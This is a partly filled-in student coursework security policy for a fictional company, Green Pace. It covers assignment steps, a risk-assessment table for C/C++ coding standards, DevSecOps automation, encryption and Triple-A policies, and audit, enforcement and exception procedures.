There are seven steps outlined below that align with the elements you will be graded on in the accompanying rubric. When you complete these steps, you will have finished the security policy.

### Revise the C/C++ Standards

You completed one of these tables for each of your standards in the Module Three milestone. In Project One, add revisions to improve the explanation and examples as needed. Add rows to accommodate additional examples of compliant and noncompliant code. Coding standards begin on the security policy.

### Risk Assessment

Complete this section on the coding standards tables. Enter high, medium, or low for each of the headers, then rate it overall using a scale from 1 to 5, 5 being the greatest threat. You will address each of the seven policy standards. Fill in the columns of severity, likelihood, remediation cost, priority, and level using the values provided in the appendix.

### Automated Detection

Complete this section of each table on the coding standards to show the tools that may be used to detect issues. Provide the tool name, version, checker, and description. List one or more tools that can automatically detect this issue and its version number, name of the rule or check (preferably with link), and any relevant comments or description—if any. This table ties to a specific C++ coding standard.

### Automation

Provide a written explanation using the image provided.



Automation will be used for the enforcement of and compliance to the standards defined in this policy. Green Pace already has a well-established DevOps process and infrastructure. Define guidance on where and how to modify the existing DevOps process to automate enforcement of the standards in this policy. Use the DevSecOps diagram and provide an explanation using that diagram as context.

To establish DevSecOps from their defined DevOps process, we are going to implement security processes that automate enforcement and testing into as many steps as possible. In the assessment and planning phase we are going to analyze what vulnerabilities already exist and plan our system around the solution to those vulnerabilities. Design phase we will start selecting components to implement into the system using coding standards that have been tested and proven to be secure. We will then move to the build phase using secure repositories and tools that enforce the coding standards. Verify and testing phase will use static testing tools to ensure that we are continuously looking for vulnerabilities. Once the production cycle starts, we will configure security settings and test our implemented security measures. Monitoring and detecting suspicious user activity will allow us to respond to possible attacks and prevent them. Maintain and stabilize phase will implement assessing system security against it’s baseline to ensure that the security measures are not compromised and stabilize after the system has been attacked.

### Summary of Risk Assessments

Consolidate all risk assessments into one table including both coding and systems standards, ordered by standard number.

| Rule | Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- | --- |
| STD-001-CPP | High | Unlikely | Medium | Medium | 2 |
| STD-002-CPL | High | Probable | High | Medium | 2 |
| STD-003-CPP | High | Likely | Medium | High | 1 |
| STD-004-CPL | High | Likely | Medium | High | 1 |
| STD-005-CPP | High | Likely | Medium | High | 1 |
| STD-006-CPP | Medium | Unlikely | Medium | Low | 3 |
| STD-007-CPP | Low | Probable | Medium | Low | 3 |
| STD-008-CPP | High | Likely | Medium | High | 1 |
| STD-009-CPP | High | Likely | Medium | High | 1 |
| STD-010-CPP | Low | Probable | Medium | Low | 3 |
|  |  |  |  |  |  |
| [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] |
| [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] |
| [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] |

### Create Policies for Encryption and Triple A

Include all three types of encryption (in flight, at rest, and in use) and each of the three elements of the Triple-A framework using the tables provided***.***

* 1. Explain each type of encryption, how it is used, and why and when the policy applies.
  2. Explain each type of Triple-A framework strategy, how it is used, and why and when the policy applies.

Write policies for each and explain what it is, how it should be applied in practice, and why it should be used.

| 1. **Encryption** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Encryption at rest | This type secures data while it is stored which could be locally on a client or in a database. By using encryption tools to scramble sensitive data written into those files into an unreadable state, this can prevent a data breach in the event of a security breach. |
| Encryption in flight | This type refers to protecting data when it is being transferred over the internet. Using protocols such as HTTPS, TLS/SSL, and SNI coupled with encryption, data such as emails, files, and payment transactions can be securely transferred over the internet to verified recipients that hold the correct key to decrypt the data. |
| Encryption in use | This type refers to data being accessed by users and actively being used. This is used by coupling security measures such as encryption, user authentication, and establishing permissions for who can perform actions on the data. This is to ensure that unauthorized users cannot change or store sensitive data. |

| 1. **Triple-A Framework\*** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Authentication | This first step verifies who the user is when logging into a system and recognizes if they are allowed to access the system. Verification can be achieved using a secure password, single sign-on, biometrics, digital certificates, or PKI tokens coupled with a password. This step controls who is allowed to access the system. This step is also used to add new users to the system. |
| Authorization | This defines the permissions and privileges allowed by the system to the user. Using controls such as Role Based Access Control or Attribute Based Access Control, allows authorized users to perform tasks at the appropriate level. This safeguards sensitive data from being access, manipulated, or stored by unauthorized users. |
| Accounting | This step records pertinent audit data as users interacts with a system. Data such as sessions statistics, data usage, and commands issued are logged and reviewed by personnel. This step ensure that users are working in compliance within their scope of responsibilities and hold those accountable if attempting to access restricted data. |

**\***Use this checklist for the Triple A to be sure you include these elements in your policy:

* User logins
* Changes to the database
* Addition of new users
* User level of access
* Files accessed by users

### Map the Principles

Map the principles to each of the standards, and provide a justification for the connection between the two. In the Module Three milestone, you added definitions for each of the 10 principles provided. Now it’s time to connect the standards to principles to show how they are supported by principles. You may have more than one principle for each standard, and the principles may be used more than once. Principles are numbered 1 through 10. You will list the number or numbers that apply to each standard, then explain how each of these principles supports the standard. This exercise demonstrates that you have based your security policy on widely accepted principles. Linking principles to standards is a best practice.

**NOTE:** Green Pace has already successfully implemented the following:

* Operating system logs
* Firewall logs
* Anti-malware logs

The only item you must complete beyond this point is the Policy Version History table.

## Audit Controls and Management

Every software development effort must be able to provide evidence of compliance for each software deployed into any Green Pace managed environment.

Evidence will include the following:

* Code compliance to standards
* Well-documented access-control strategies, with sampled evidence of compliance
* Well-documented data-control standards defining the expected security posture of data at rest, in flight, and in use
* Historical evidence of sustained practice (emails, logs, audits, meeting notes)

## Enforcement

The office of the chief information security officer (OCISO) will enforce awareness and compliance of this policy, producing reports for the risk management committee (RMC) to review monthly. Every system deployed in any environment operated by Green Pace is expected to be in compliance with this policy at all times.

Staff members, consultants, or employees found in violation of this policy will be subject to disciplinary action, up to and including termination.

## Exceptions Process

Any exception to the standards in this policy must be requested in writing with the following information:

* Business or technical rationale
* Risk impact analysis
* Risk mitigation analysis
* Plan to come into compliance
* Date for when the plan to come into compliance will be completed

Approval for any exception must be granted by chief information officer (CIO) and the chief information security officer (CISO) or their appointed delegates of officer level.

Exceptions will remain on file with the office of the CISO, which will administer and govern compliance.

## Distribution

This policy is to be distributed to all Green Pace IT staff annually. All IT staff will need to certify acceptance and awareness of this policy annually.

## Policy Change Control

This policy will be automatically reviewed annually, no later than 365 days from the last revision date. Further, it will be reviewed in response to regulatory or compliance changes, and on demand as determined by the OCISO.

## Policy Version History

| Version | Date | Description | Edited By | Approved By |
| --- | --- | --- | --- | --- |
| 1.0 | 08/05/2020 | Initial Template | David Buksbaum |  |
| [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] |
| [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] |

## Appendix A Lookups

### Approved C/C++ Language Acronyms

| Language | Acronym |
| --- | --- |
| C++ | CPP |
| C | CLG |
| Java | JAV |